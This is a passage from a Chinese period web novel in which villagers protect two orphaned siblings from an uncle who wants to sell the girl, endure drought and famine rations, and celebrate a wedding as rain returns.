钟家岗其他人也过来了，村长钟强先过来给何大柱算了一笔账：“钟家岗这俩月一共失窃三十六回，第一次，老楚家俩鸡蛋，第二次，食堂三个红薯，第三次，大塘菜地两个西红柿，三根黄瓜……” 吧啦吧啦说了一大堆，然后说了一个数字：“你把人带走，至少得赔我们十块钱。” 何止尧听着这一字一句，眼睛里逐渐充满泪水，这几天的幸福和自由，终究还是他的奢望吗？ “村长，还有这几天的伙食费呢，他俩穿的衣服也是我们村老万家的！”村里其他人跟着捣乱。 钟强先斩钉截铁道：“那就再加两块钱！” 钟莹莹声音清脆：“叔，他俩偷的鸡蛋可是种鸡蛋，能孵小鸡的，小鸡长大还能下蛋，下的蛋能孵小鸡，鸡生蛋，蛋生鸡，他得赔！” “姑姑，那得赔多少啊，我不会算了！”钟新澄把十根手指头都掰了一边，也没算过来。 钟强先嘴角抽搐了下，没看出来他这个侄女/妹妹是个心黑的。 他顺着钟莹莹的话往下说：“对，鸡生蛋，蛋生鸡，他俩偷的是钟家岗小鸡的未来！” 说这话的时候，钟强先感觉自己的良心在痛，这不纯纯无理取闹嘛！ 何大柱咬着牙：“行，你说个数，我赔！” 黄大花看他一眼，心里纳闷，这太阳也没打西边出来啊，铁公鸡怎么就拔毛了！ 钟绍华赶来，狮子大开口：“得赔五十！” 钟明月掐两下他的胳膊，示意他别太过分了。 钟绍华拍拍她的胳膊，让她别担心。 “你们抢劫啊！”一二十块，何大柱都要心疼死了，一下子要五十块，他不可能拿得出的。 “交钱就放人，不交钱就滚蛋！”钟新澄觉得有意思，叉着腰，也有样学样！ 何大柱扫视一圈，忽然觉得有点委屈：“你们！你们都是一伙的！” “还要不要人了，要就交钱！” “我交！”何大柱恶狠狠道：“现在我身上没有那么多钱，等我先把人带回去，再给你们送钱来！” 钟强先想也不想的就拒绝了：“不行！谁知道你会不会跑了？” 跟他丈母娘黄大花想法一致，钟强先也是认为这人一下子出那么多钱是心怀不轨。 “你们不要太欺负人了！”这钟家岗的人也太难缠了。 “既然这样，大的这个我不要了，你把小的给我，我带走，东西是她哥偷的，梦婷又没偷！”何大柱最终露出马脚来。 一听何大柱要带走妹妹，何止尧双目通红，心中的怒火再也压抑不住，抄起墙边立着的铁锹就往何大柱脑袋上砸：“我跟你拼了！” 何大柱躲了一下，只被拍到了肩膀。 “嘶～小兔崽子，你找死啊！”他也被激起了怒火，四下瞅着，想找个趁手的武器打回去。 没找到，他就盯上了那把砸他的铁锹。 钟新澄抢先一步把铁锹拿到手，冲何大柱微微一笑：“这是我家的铁锹，砸坏了你俩得赔钱！” 钱！钱！钱！钟家岗的人就知道要钱！何大柱感觉自己要疯了，满腔怒火无处发泄。 他又盯上了何止尧：“你妹妹呢？我要带她回家，你听见了没有？” “听见了！听见了！你可真啰嗦！”王岳早都来了，一开始只是嗑着瓜子在边上看热闹。 听了一段觉得有点不对劲，又掏出一把瓜子和村里人打听。 了解完事情的全部经过后，他只想说何大柱是真畜生不如啊！也不知道那王麻子家给他开了什么好处，让他一心想要坑死自己侄子侄女。 王岳自认为自己不是个好人，但也绝对不会像何大柱一样，猪狗不如。 因此，他上前去警告道：“我可和你说了啊，包办婚姻是不可取的，伟人都说过了，我们的婚姻是自由的，还有，买卖小孩是犯法的，你要是给那个黑麻杆送去当童养媳，我就去举报你！让你全家都蹲篱笆子去！” 越想王岳越觉得可行，他都有点期待了。 “犯什么法？我嫁自己侄女还犯法了？”何大柱神色慌张。 “随你咯，黑麻杆就在那个啥老万家，你去就是了，等你去了我举报你，到时候就可以回城了，哈哈哈哈哈哈”王岳抑制不住自己的笑容。 何大柱害怕了：“我不跟你们一般见识，闪开，我要回家了。” 逃跑的时候他脚下还踉跄了几步，慌不择路到差点摔倒。 烈日炎炎，何大柱却吓出了一身冷汗。 第59章 “尧尧，你跟你妹妹就安心在钟家岗待着，何大柱不敢再来的！”黄大花拍拍何止尧的肩膀，轻声安慰着。 钟新澄也一反常态的冒出头来：“他再来我喊丽丽他爹给人抓走，让他蹲篱笆子去！” 这称呼是最近他跟大姑学的，他觉得好玩，比姑父好听，自己没事就这样叫。 何止尧深深鞠了一躬：“谢谢你们！” 弯腰时眼泪啪嗒啪嗒往下掉，至亲的大伯恨不得他们去死，这些没有血缘关系的人却一直不计前嫌的帮助他们，何止尧内心五味杂陈。 “哥哥！” 跟着老万一块姗姗来迟的何梦婷也是泪眼婆娑。 她有点发烧，吃了药搁家睡觉呢。 老万也不在，他在台子后面砍竹子，准备搭个网格的棚子，给院里的菜遮阴，能少浇点水。 “没事，不哭。”何止尧扯了扯嘴角，露出一丝苦笑。 朱志鑫一开始不敢说话，等人走了，开始放马后炮，刷存在感：“咱们村有警察，还有我们这些正义的知青和村民，不会让他得逞的！” “说的好！”众人齐齐鼓掌。 何止尧在这样温馨的环境中，感到无比的心安，心里充满了归属感。 他决定，以后要把自己真正当成钟家岗的一分子，此前被胁迫成为老万继子的不甘彻底烟消云散。 另一边仓皇出逃的何大柱却没那么顺当了，回到家里就被媳妇劈头盖脸扇了一巴掌：“那小丫头人呢？” “嘶……你打我干嘛？”何大柱捂住脸直跳脚。 “抓个小丫头片子都抓不到，还问我打你干嘛？”何大柱媳妇不是个好相与的。 何大柱用舌头抵了抵后槽牙：“那丫头你别想了，搁钟家岗犯事了，人家让他兄妹俩抵账了！” 何大柱媳妇气的用拳头一拳拳砸在何大柱身上：“那咱儿子咋办？都跟人说好了的！” 何大柱不堪其扰，用手抓住她的拳头：“行了，别闹了！儿子的事我们再想别的办法！” “想办法？你说的倒轻巧！拿什么想办法？”何大柱媳妇满脸嗤笑。 “那你让我怎么办？把他俩抢回来，然后我去蹲篱笆子吗？”以前的事民不举官不究就算了，现在那俩小东西有人护着，一旦被举报，他肯定要被抓的。 何大柱媳妇一脸怒容：“谁敢？我们管教自己侄子侄女都不行了？” 不得不说，这俩真不愧是夫妻，不是一家人，不进一家门，都是‘法外狂徒’。 “这些东西不是我们说了算的！”何大柱不想把何止尧他俩抓回来吗？以前是不想的，俩孩子没了，他就可以名正言顺占了房子。 可后来，他是想的，王麻子那边开的筹码太高了。 何大柱知道是为什么，他儿子要死了，想拉个垫背的，求个好运，下辈子投个好胎。 黄家岗虽然很多重男轻女的，但是也没狠到要把养了好些年的女儿送上死路。 何大柱舍得啊，反正又不是他生的，送出去还能换来一大笔好处，给他儿的前途添砖加瓦，还能让家里少个人浪费粮食，对他来说是两全其美的事情。 何大柱叹了一口气：“这件事情以后不要再提了！就当是咱家止戈没那个福气吧！” “我不管……”何大柱媳妇满地打滚，见何大柱不理会他后，又爬起来要撕扯他。 何大柱一脚给她重重踹倒在地：“还嫌家里不够乱的吗？我说了，这件事到此为止！” 小事情随她闹，能给家里闹来好处就行，事关自己，何大柱就不能忍受了。 挨打的何大柱媳妇老实了，一个人回屋抹眼泪去了。 何止尧最终还是心满意足的加入了钟家学习小分队。 因着何大柱的事情，钟新澄觉得他太惨了，十分慷慨的表示自己可以教何止尧和何梦婷认字。 何止尧欣喜若狂，不管是谁，只要能让他识字，他都很感恩。 “姑姑～”钟新澄用可怜巴巴的眼神望着钟莹莹。 到了要去教何家两兄妹的时间，钟新澄又想出去玩，就想让钟莹莹帮他。 “没事别喊我啊！”钟莹莹才不吃他这一套。 自己答应下来的事情，自己做不到，现在又想托别人下水，这是个很不好的习惯。 “你自己字都写的囫囵半个的，还要教别人？” “自己的事情*自己做，我帮不了你！作业记得写，回来我要检查的。” 钟新澄没法子，又抱着烂糟糟的课本找何家两兄妹去了。 他想发火，又看到老万家两兄妹眼中的渴望与崇拜，心中不仅火气全消，还充满了力量。 “这个字念何，也就说你们的姓……”钟新澄讲课，想到哪里讲哪里，并不拘泥与他抱着的小学破烂课本。 何家两兄妹又是个大文盲，对于这种教学方式感觉哪里不对，但也说不出个所以然来，只能被动的跟着钟新澄，他讲到哪里，他们学到哪里。 学一个字算一个字，两兄妹如饥似渴的吸收着知识。 钟莹莹溜达过去听了几次，看三人都挺认真就没再管了。 快开学了，上头发了救济粮下来。 好些个村子兴致勃勃的过去领，却又骂骂咧咧的带着一车东西回村。 把所谓‘救济粮’拿到手，钟莹莹才知道他们为啥骂人。 领到的东西不符合预期，甚至完全不在预料之内，能不骂吗？ 上头这次发的东西还挺大方，一个村十几麻袋呢，一家能分到一大袋。 忘了说了，各村的食堂因为没粮食，都倒闭了。 大家都各回各家，各找各妈去了。 上面对于这种情况也是睁一只眼闭一只眼，只要没人上报，他们就不管。 所以这次领了粮食，大家都是分了拿回自己家。 “嗬！这不喂猪的吗？”陈显英扯开那装粮食用的麻袋，伸手捻了一点粉末放进嘴里，一品她就知道大概成分了。 麦麸米糠混着极少的粮食打碎了，里面可能还掺了点树叶子还是其他啥东西，总之放到嘴里十分的剌嗓子眼，口感也很奇怪。 怪不得那些老家伙要骂人，交上去的都是精米细粮，往下分的时候又变成了比粗粮还要不如的麦麸米糠，搁她她也想骂人。 真就困难到这种程度了吗？陈显英忽然感觉有点可怕。 小地方闹灾无所谓，国家会管的。 但要是大面积的闹灾呢？还会有人注意到他们这个小地方吗？ 陈显英把救济粮摆在家里最显眼位置上，然后把其他的细粮粗粮都收到大缸里，挪到地窖里，盖严实了。 “以后我们每天就吃这个了，一天吃两顿，晚上就不吃了，早点睡！”陈显英将救济粮里掺了些玉米面，搅和匀了，不至于太难以下咽和缺营养。 “奶奶，我不想吃这个！”吃一口，卡的要顺半天气，钟新澄没遭过这种罪，他吃不下去。 陈显英用手指戳戳他的脑瓜子：“你跟你姑姑还有姐姐每天都有鸡蛋吃呢，有什么咽不下去的？你出去看看，外面的孩子哪有这待遇？” 钟新澄嘴巴撇了撇，他知道，隔壁两兄妹吃的就是这种，老万不讲究，东西煮熟能吃就行。 两兄妹饿惯了，能吃饱已经是欢天喜地，哪里还会挑刺。 钟绍华一脸严肃道：“娘，村里的猪是不是该杀了啊！”眼见这人吃的粮食都不够了，现在人都开始吃猪食，那猪还能吃什么？ 早点杀了还能多点肉，慢慢耗下去没粮喂猪，损耗更大。 “那猪也不是我们说了算的！”钟伟先也觉得该杀，但是提前杀了，年底怎么办？人家有东西上交，他们没有。 钟绍华沉思片刻：“就实话实说，没东西给猪吃了，杀了直接拖一半交到镇上，怎么处理是他们的事情。” 上头总不可能为了一头两头猪，断送老百姓的活路。 钟莹莹又带着村里小孩上大坝上挖白茅根了。 颍河的水彻底干涸，河道裂开一道道大缝隙，人踩在上面走也不会往下陷。 河里搁浅的河蚌鱼虾蟹被人捡了个七七八八，剩下的幸存儿也早已被烈日晒的脱水腐朽。 河堤上遍地都是的紫花地丁因为缺水，叶子焦黄一片，几乎见不着绿色。 孩子们挖白茅根的同时，顺带会挖紫花地丁，仅存的一丝绿芯带着根部，通通被撅出来放到篮子里去。 一铲子又一铲子，河堤松软的表层土被撬开，嫩生生的白茅根被挖掘出来。 钟莹莹可太喜欢这东西了，甜丝丝的，还能补充能量，馋嘴必备。 “姑姑（嚼嚼嚼）” “这可真好吃！（嚼嚼嚼） “你说这玩意咋长的呢？埋那么深，还这么甜！（嚼嚼嚼）” 连吃几天救济粮的钟新澄感觉嘴巴一点味道都没了，直到白茅根进嘴，他才觉察到味蕾复苏。 陈显英管粮食管的严，以前还有小甜水喝，现在喝个屁，啥也没有。 “好吃等下多挖点，还可以回去泡水喝（嚼嚼嚼）”钟莹莹也停不下来，空间里有粮，她没舍得吃独食，每天掺一点到救济粮里，全家一起吃。 “好，我要挖一大堆，回去天天吃！” 第60章 几个孩子挑挑拣拣，每人都挖了一大包，细碎的当场就放嘴巴里吃掉了，比较完整的准备拿回家去晾干慢慢吃。 钟莹莹没忍住，背着他们作弊，把堤坝深处长着的白茅根给收掉了，至于浅表层的，就留着给其他人慢慢挖。 她在心里告诫自己，特殊情况特殊对待。 都是同村人没事，以后万不能再这样了。 开学就要初三了，回到学校指不定过啥日子呢，弄点白茅根补充营养也是应该的。 果然，不出意料，一开学就迎来学校食堂的暴击，给粮票也只能吃救济粮那个粉粉捏的团子，还不管饱。 她有空间加餐，其他同学没有，一个个吃的头晕眼花。 “莹莹，我好饿啊！”李红雪趴在课桌上，有气无力的说话。 现在他们为了节省体力，饿的慢一些，除了上下课，回宿舍基本立马躺平睡觉了。 钟莹莹往她嘴里塞了一根白茅根：“吃点！” 李红雪咀嚼了好多下，竟是连着渣子一块吞下去了。 肚里没食，像是火烧一样。 祁绮没啥事，家里都是上班的，就她一个吃白食，供得起。 其他几个和李红雪一样从村里来的，境况大都一样。 不管是吃食堂也好，还是吃自己带的粮，都是那个救济粮。 城里原先去粮站能买到粗粮，现在也全换成了粉粉状的救济粮。 想吃好的？那就高价和别人换去吧。 谁家钱是大风刮来的，买高价粮吃？ 城里人生的娃也多，班上其他的城里学生也跟着挨饿起来。 郑老师抱着书拎着三角尺从外面走进来：“都打起精神来，下学期就要中考了！不好好学到时候考不上，你们三年白搭！” 要他说，谁不饿啊，饿也得好好学习，学习才能考上中专，去当工人。 郑老师把东西往讲桌上一放：“上课！” 底下的同学们从死气沉沉中脱离出来，站起身：“老师好！” …… “最近有一个作文大赛，主题是‘歌颂祖国’，字数不少于800字，每个学生都要写一篇交上来，学校会评选出三篇优秀作文交到市里面参加比赛。” 话音刚落，底下立时哀嚎一边。 活动一大堆，他们县城往前数多少年，拿奖的都没几个。 “你们也别太悲观了，这次学校选出的前三名也有奖励呢！”郑老师知道学生在想什么。 他们学校和市里的，乃至其他县城相比，都差了不少，穷啊，师资力量跟不上，生源也没人家好，拿什么比？怨不得学生没有积极性。 “学校评选出的前三名，每人发三斤面粉，不是粮票，是纯白面的面粉！” 发粮票也买不到面粉，学校为了激励学生，选择直接发实体奖励。 “哦吼吼～～真的吗？老师！”底下学生立马不嚎了，一个个目光炯炯有神的望着郑老师。 “真的！” 得到肯定，学生们像是炸开了锅一样。 在全校范围内选三个人的文章，每人都有机会，不看考试成绩，只看文章，万一自己中了呢！ 想到麦香浓郁，筋道可口的白面馒头和面条，再对比粮站发的乱七八糟混合物粉粉捏的团子，每个学生都如同打了鸡血一样。 郑老师见学生的积极性被调动起来，满意的点点头，敲敲黑板：“作文写完以后这周五交上来，老师拿去批改，下周一会公布名次！” “接下来，我们继续上课……” 两节课下来，心情激昂的学生腹中更加饥饿了。 李红雪努力压下喉咙中不住往外冒的酸水，却仍旧忍不住沮丧：难受，想哭。 学校也改了两餐制，晚上没饭，原本初三会有的晚自习也取消了。 女生们下午放学时怀揣着一肚子饥饿往宿舍楼走。 “你们几个，站住！” 几个男生气势汹汹迎面而来。 钟莹莹无语了，都饿成这个样子，咋还有人有精力找茬？ “有啥事？” “何止尧、何梦婷是不是在你们钟家岗，我警告你们，早点把人放了，不然见你们一次我打一次！”为首的男生亮了亮自己的拳头。 钟莹莹无语。 “你打啊！” 这几个明显是初一初二的学生。 低年级挑衅高年级，四个矮个男生，对六个女生，其中四个要比他们高，自讨苦吃，这家伙看起来不太聪明啊！ “我……”为首的男生气不过边说边要动手，钟莹莹几个人已经做好还手的准备了。 然而对面的人话都没说完呢，就被人撂地上了。 动手的人有点出乎意料，是刘兵：“这几个家伙干嘛的？” “谁知道啊！”李红雪很是不耐烦，本来肚子就饿，还遇见这糟心事。 几次搞事不成后，这家伙天天在班里跟透明人一样。 刘兵眉头一皱，对着已经躺地上的那个问：“你们来干嘛的？” “嘶～我、我、我来找钟家岗的人把我堂弟堂妹还回来”何止戈忍着身上的痛，小心翼翼道。 听闻他堂弟被钟家岗的人收养，他爹娘去要人没得逞，他就想过来找麻烦。 他还等着上中专呢，那王麻子也不知道哪来的关系，能找人给他送到中专去。 一个小丫鬟一样的堂妹，和上中专的名额，傻子都知道选哪一个。 “那是大人的事，你拦我们班女生做什么？” 什么堂弟堂妹的，和他们当学生的有啥关系？ 刘兵不了解情况，却还是放狠话道：“下次还敢这样，我跟班上同学打断你们的腿！” “是、是、是，我们不敢了～”何止戈光说要来找女生麻烦，没说是高年级的女生，可把他们害惨了，几个小男孩头也不回的丢下人跑路了。 同伙都跑光了，只剩下何止戈一个人坐在地上瑟瑟发抖。 钟莹莹嘲弄：“你不走吗？”就这胆子还敢出来找人麻烦，啧啧！ “我走。”说着何止戈连滚带爬的跑了。 只剩下宿舍六人组还有刘兵，气氛沉默了许久，几个女生面面相觑，想到了刘兵貌似和她们有矛盾来着。 最终刘兵打破了沉寂。 他低头道：“对不起，以前是我不对！我不该因为嫉妒就胡乱举报你们！” 在班里被其他男同学鄙夷孤立的这些时间，他想了很多，一开始是觉得自己没错，后面突然灵光一闪，换位思考。 他才知道自己究竟做错了什么。 一错，借着自己小叔是老师在班里耀武扬威，拉帮结派欺负其他同学。 二错，小叔被开除后，死不悔改，诬陷女生考试作弊。 三错，错在这么久都没想明白什么是对是错，自己被孤立，是活该。 几个女生没回答，刘兵身后突然跳出来几个男生，是他们班上的同学。 他们拍拍刘兵的肩膀：“好啊，刘兵，你终于迷途知返了！” 一块玩了这么久的好兄弟，骤然走散他们也不习惯。 看到班里女生被人找麻烦，他们正要出手时，刘兵就跳了出来。 “我……”刘兵有点支支吾吾。 “得了，还不好意思了！”以前和刘兵玩的最好的那个男生给他开脱：“知错能改就是好孩子，李红雪你们能原谅他吗？” 刘兵顺着他的话语也抬起头满怀期盼的看着面前的几个女生。 “算了，相逢一笑泯恩仇，以后大家都还是好同学！只要刘兵你以后不要再做那样的事就行。”几个女生咋咋呼呼的一顿商量，最后引用了电影里面的一句话，了结了这段维持了两年的恩怨。 “谢谢你们！”刘兵感动的快要哭了，为了不在人前掉下眼泪，他咻的一下转身跑了。 “那我们也走了，要是那几个再来找你们麻烦，记得知会一声！”剩下那几个男生笑了笑，也追刘兵去了。 周五的时候大家都把自己精心写的作文交给了郑老师，哪怕班里成绩最差的学生，这次的比赛也用了十二分专注。 最终，周一的时候评选出了三名同学。 钟莹莹他们班有两名，还有一名是别的班的同学，刘兵和高家娣。 钟莹莹没选上，意料之中，她的饥饿感没那么强，比不过这群‘饿狼’，太饿了，为了一口吃的，什么都能做出来，当然，除了数学题。 刘兵评选上后，整个人放的更开了。 他干了这么多错事都能选上，郑老师是公平公正的。 之前担心郑老师给他穿小鞋，整个人一直战战兢兢的，吃也吃不好，学也学不好，成绩都下降了不少。 和女同学说开后，他给郑老师也道了歉。 令人意外的是高家娣，她竟然选上了，原先的吊车尾，现在的前十。 看了她的作文，钟莹莹几人是自愧不如。 通篇充斥着感谢祖国，给她这么好的生活。 里面写了他们家的变化，他爹以前的生活是什么样的，她现在的生活是怎么样的，从地主家的奴隶，到新社会的自由人，从出生就要被溺死的女婴，到现在可以和男同学一起坐在学校里读书，一字一句充斥着高家娣泣血的心路历程。 钟莹莹：比不过，完全比不过。 作文被交到市里去，前三名领了奖励，他们的学习还在继续。 天热的离谱，钟莹莹估摸着该有后世的40多度了。 课才上了一个月，学校就停课，布置了课业，让大家回家自学，等到十月国庆结束凉快点再返校上课。 原因无他，校长中暑了，还有好几个学生也被送到医院去了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 钟新澄撅了撅嘴：“姑姑，你们也不上课了啊！”小学比中学停课还要早一些。 钟莹莹回家，他又没法愉快的玩耍了。 钟伟先也在家里坐着，外面实在太热了，没有树荫的地方能给人烤化了。 再勤劳的人也扛不住这个热度，纷纷避其锋芒，等到太阳落山后再去地里做活。 钟明芳带着丽丽也回乡下避暑，钟家人很少有这么整齐过。 炎热的天气让人没有胃口，午饭是钟绍华做的。 菜地里摘的黄瓜和空心菜，黄瓜直接凉拌，空心菜焯水后加上蒜末和香油拌了，主食是救济粮粉粉加了点白面煮成的糊糊，一人分了一碗。 丽丽喝了一口就人小鬼大开始叹气。 “怎么了？是小叔做饭不好吃吗？”钟绍华笑着打趣。 丽丽原先该喊他舅舅的，姓氏改回来，称呼也改了。丽丽现在就是钟家的孙女。 小丫头皱着鼻头：“不是你做饭不好吃，是救济粮不好吃！” 全是粉渣渣，卡嗓子眼里不上不下的，吃一口还需要喝点水顺顺。 在城里吃这个，回到村里还吃这个，她一天天过的都是什么日子啊！ 她想念大米饭了。 这个没法反驳，救济粮是真难吃。 陈显英转移话题道：“强先家那个好日子是不是快了？” “嗯，日子就定在这个月。”钟伟先随口答道。 他们说的是村长家的大儿子，钟新军，二十多岁了，在村里妥妥的大龄未婚青年。 “琳琳年纪比他小好几岁呢，那老楚还真舍得！”琳琳才十七八，也不知道老楚急个啥。 “他想给女儿就近嫁到村里，以后好帮衬照顾着儿子，年龄近一点的只有强先家的儿子了，现在不嫁，等过几年人家对象找好了，他闺女只能嫁到外村去，他精着嘞！”钟伟先没说的是现在家家户户粮食都紧张的很，老楚嫁女儿恐怕不仅仅是为了让女儿嫁得近。 嫁出去能换一笔彩礼，他不拿那个钱，钟强先也会给送点粮食给亲家，就是苦了强先了，孩子一大堆，还得往外倒腾粮食。 大的安定下来，后面还有三个儿子排队等安排呢。 孩子生的多，干活的时候人多让人羡慕，嫁娶的时候才让人头痛。 还是自己家好，两女一儿，大闺女和二儿子早早的安定下来了，小的这个年纪还小，起码得等个八九年才到处对象的年纪，不着急。 丽丽捧着碗在边上听着听着忽然语出惊人：“我以后不要嫁人，我也要娶媳妇！” 小丫头脑子转的特别快，嫁人要住到人家家里去，娶媳妇住自己家，她不要住到别人家去，她要跟娘，姑姑住一起。 钟新澄大声嘲笑：“女生要嫁人，男生才能娶媳妇！” 丽丽涨红了脸反驳：“我就是要娶媳妇，到时候把你嫁出去！” 家里大人在边上看着他俩吵嘴，很是无奈，啥事都能吵两句。 “吃完了，都别吵了，写作业去！”钟莹莹一句话下去，两小只都不吱声了。 没有孩子喜欢写作业。 那俩姓何的倒是吃完饭屁颠屁颠就来了。 何梦婷不喜欢上学，但他哥喜欢，拘着她一块好好学。何止尧去学校盯着老师求知若渴，刚准备大发神威呢，学校就停课了，满脑子的问题无人答疑，回家后偶尔去知青院问问题，天热，知青们也变得惫懒了，他不好经常去打扰。有时候会问老万，但老万自己都是个半吊子，好多问题答不上来。 他还去问钟新澄，钟新澄是个三天打渔两天晒网的，高兴了回答他几个问题，不高兴了就自己跑出去玩了。 钟莹莹一回来，最高兴的就是他。 离家近，就在隔壁，还喜欢教自己侄子侄女，就算自己不问问题，跟着听讲他已经很满足了。 何家两兄妹懂分寸，钟莹莹也不好赶人走。 干脆抱着一种放一只羊也是放，放两只一样放的心态，默认何家两兄妹每天过来一块学，偶尔他们有问题，也一并解答了。 何止尧的学习进度很快，终归是年纪比较大，思维发育的比较完善。 小学一年级的内容他很快就学完了。 “我……”何止尧话没说出口，钟莹莹就把自己当年小学二年级的课本掏出来递给他了：“借给你的，不要给我弄脏了。” 被家里那俩孩子祸害的，钟莹莹觉得，爱学习的孩子应当得到奖励。 “谢谢！我会好好爱护它的！”何止尧的眼里满是惊喜。 一开始的时候何止尧心里还会有些嫉妒，嫉妒为什么她的人生可以一帆风顺，自己却要遭遇这么多，连踏进学校都要比对方晚了那么多。 现在他望着穿着简单，扎着高马尾，一脸稚气的钟莹莹，只想着钟家岗真的都是好人，以后他有能力了，一定要报答他们。 拿到书，何止尧开启新一轮的学习。 几天下来，已然学了不少，语文还好，数学他没人教是真的犯了难。 “学的这么快啊！这个问题你不会？”钟莹莹声音微扬。 “嗯。”何止尧心里有些羞耻。 “你看啊，两位数相乘，先将两个数上下对齐列好，然后用下面数字的个位数分别乘以上面的个位数和十位数，按照顺序……”钟莹莹尽量用浅显易懂的方式给他解释。 “懂了吗？” 何止尧点点头。 “那你把这道题算一下我看看！” 钟新澄这会儿和丽丽又和好了，两颗小脑袋凑在一起嘀嘀咕咕的。 “姑姑太吓人了，我不爱写作业，你呢？” 丽丽点点头道：“我也不爱写作业。” 在学校学习就算了，回家还不能玩，丽丽不开心。她成绩比钟新澄好，但是也是个贪玩的小女孩。 何梦婷也凑过来：“我也不爱写作业！” 淦！！！怎么还有一个人！！！ 钟新澄和丽丽被突然冒出来的何梦婷吓了一跳。 “你们吃吗？”何梦婷从小兜里掏出来两根不知名植物的根茎，手掌黏糊糊的，就这么塞了一根进嘴巴里，一边嚼，一边不舍的把手里的东西递给钟新澄和丽丽。 两小只看着她的手，迅速的摇了摇头，同步说：“不吃！” 丽丽心想，这可比钟新澄还埋汰呢！ 钟新澄心想，这咋比自己还埋汰呢！他终于懂了姑姑为啥嫌弃他了。 何梦婷可不知道自己被人嫌弃了，和哥哥流浪的那几个月，她什么苦头都吃过了，爹娘一没，就是在黄家岗，她也没过过几天好日子。 什么叫作脏，她不知道，她只知道，东西能吃，能填饱肚子，那就是好东西。 教学停止，钟莹莹给何止尧使了个眼色，意思是：“你看你妹妹！” 何止尧转过身去，见她又乱吃东西，脑瓜子嗡嗡的。 “何梦婷，哥哥给你说了多少次了，吃东西前要洗手！” “拿来！”何止尧手伸到她面前。 何梦婷装作无事发生，把东西捏紧了，小手背到身后去，活像一个老干部。 何止尧失去耐心，一把将她扯过来，掰开她的小手，把手里的东西夺掉：“走，回家洗手去。” “要挨打了，”钟新澄跟在后边看笑话。 “谁要挨打了？你吗？” “我才不挨打，是……”话没说完，钟新澄忽然感觉有点不好，一看小伙伴丽丽已经背弃他，端正的坐在座位上，拿着笔写作业了，他立马讨饶：“姑姑，我不敢了，我现在就写作业去！” 从钟莹莹手下溜走，坐到丽丽身边，他还小声骂了一句叛徒。 明明是他们俩一块看的热闹，姑姑来了，丽丽却自己跑了，不和他说，坏人！他不要再跟她玩了。 刚和好的两个孩子，翻脸比翻书还快。 钟绍华在背后直乐，一物降一物，自己一管孩子，他就找爷爷奶奶帮忙，现在小妹关着他，他屁都不敢放一个，孩子还是很会看眼色的，分得清谁是大小王。 钟莹莹其实也觉得蛮爽的，体验了一把前世教导主任的感受，果然，管人比被管舒服多了。 日头渐渐落下，村里休息的人也从家里走出去，开始了下午的劳作。 钟新澄从作业中解脱出来，欢呼一声，扔掉书本，就跑出去玩了。 大人们一桶水一桶水往地里挑着，卷曲的枝叶逐渐舒展开来。 早前播种的土豆已经不用再浇水，逐渐成熟的块茎如果再浇水，会腐烂的，村民们的主要目标是还在生长中的红薯和高粱，最重要的是红薯，关乎着全村人下半年的口粮。 高粱这个新品种，只是试验品，结不结果他们还不知道呢！ 知青们研究了救济粮成分后，给村民们提出了一个好主意（馊主意也不一定）。 将采收后作物的茎叶晒干，磨碎，收集起来，分给各家各户，等到吃饭时，将正常的粮食和这些东西混在一起，煮成糊糊，或者掺点榆树皮粉末，捏成团团，蒸着吃。 为此，他们可没少挨孩子们的骂，救济粮已经够难吃了，没想到还有更难吃的在等着他们。 知青们自己也要受不了了。 王岳率先提出抗议：“那有土豆为啥不给我吃？我要去县城举报你们！” 老知青们，去吧，爱去不去，县城也是这个德行，谁不是吃乱七八糟的不知名粉末，他们这算好的，起码粉糊糊管饱。 周岱为了和谐，还是劝了两句：“王知青，如果你想吃土豆的话，那我们可能就要分开吃饭了，我可以把你的口粮分出来，你自己决定就好。” 王岳不吱声了。 家里不知道啥情况，有一个月没给他寄东西了，他不会做饭，朱志鑫看风头不对，这阵子也不顺着他了，分出去他只能饿着肚子，识时务者为俊杰，他忍。 日子一天天过去，土豆收上来，都快收红薯了，还是没有一场雨，众人都在心中祈求，下一点吧，哪怕是毛毛细雨也行。 第62章 “新娘子来咯！” 村里娃娃围着钟新军和楚琳琳，等着这对新婚小夫妻给他们发喜糖。 钟新军红着脸端着放喜糖的盘子，楚琳琳也是一脸羞意给每个孩子，一人发了一颗喜糖。 大人是没有的，日子不好过，东西不好买，只让孩子们沾沾喜气，大人们也表示理解，年景不好，搁丰收年，还会请他们吃酒席嘞，特事特办，正常。 沉浸在热热闹闹的婚礼之中时，钟莹莹感觉仿佛有什么东西滴到了她的脸上，该不会是鸟屎吧？顿时她的脸色变得极为难看。 “下雨了？” “我的老天爷啊，你终于可怜可怜我们了！” “新军和琳琳一结婚就下雨了，好兆头啊，小夫妻都是有福气的！” 下雨了，还好不是鸟屎！什么？竟然下雨了！钟莹莹才反应过来。 她仰头看向天空，丝丝细雨无风直直坠落。 冰凉的雨滴落在她的脸上，她只觉得这夏天的燥热终于被拂去，独属于秋日的凉意浮现。 真好，不管这场雨能持续多久，终归是给人们保留了一点生命的希望。 钟新澄、楚天宝……几个孩子在雨里疯跑着，搁平常早该挨一顿揍，此刻大人们也没心情去管，他们也沉浸在这场雨的喜悦之中。 雨带来的不仅有喜悦，还有烦恼与争吵。 村里就播种的事情吵翻天了。 有人觉得能下一场雨，那接下来还会再下的，正好土豆已经收上来了，秧母田里的秧苗还活着呢，正好可以补种一季晚水稻。 有人觉得这场雨这么短，这么小，补了水稻也收不了，不愿意种，小小一个钟家岗，十几户人家，竟然分了两方人马吵的不可开交。 孩子们不管这些。 丽丽一心惦记着白米饭，她满怀希望地问钟莹莹：“姑姑，下雨了我们是不是就不用吃救济粮了？” 钟莹莹答：“还是要吃的。” 村里人不知道，她还不清楚嘛，这场干旱可是要持续三年之久的，天灾，非人力所能抗衡，如今才过去大半年，还有两年半要熬，任重而道远啊！ “啊～”丽丽不开心的长大嘴巴，拖长尾音。 钟莹莹摸摸她的头，在她嘴巴里塞了一截白茅根。 丽丽嚼了两下，顿时就把不开心抛到九霄云外去了：“姑姑，好甜呐！” 忽的丽丽感觉脑瓜子被重击：“谁，谁砸我？” 钟莹莹顺着她的视线望过去，钟新澄瘪着嘴，要哭不哭的，看起来可怜死了。 “姑姑偏心！偷偷给丽丽东西吃！”说完他哭着跑了。 丽丽气的也要哭了：“他用土坷垃砸我，我还没哭呢，他反倒先哭了，哪有这样的道理！” 钟莹莹哄了她几句，把从琳琳那得来的糖给她吃了，给人哄好了，又追钟新澄去了，都是祖宗啊！ 其实还真都是祖宗，上辈子的老祖宗，这辈子的小祖宗。 重生一次，别的事没干，光带孩子了，她自己也是个孩子哇！ 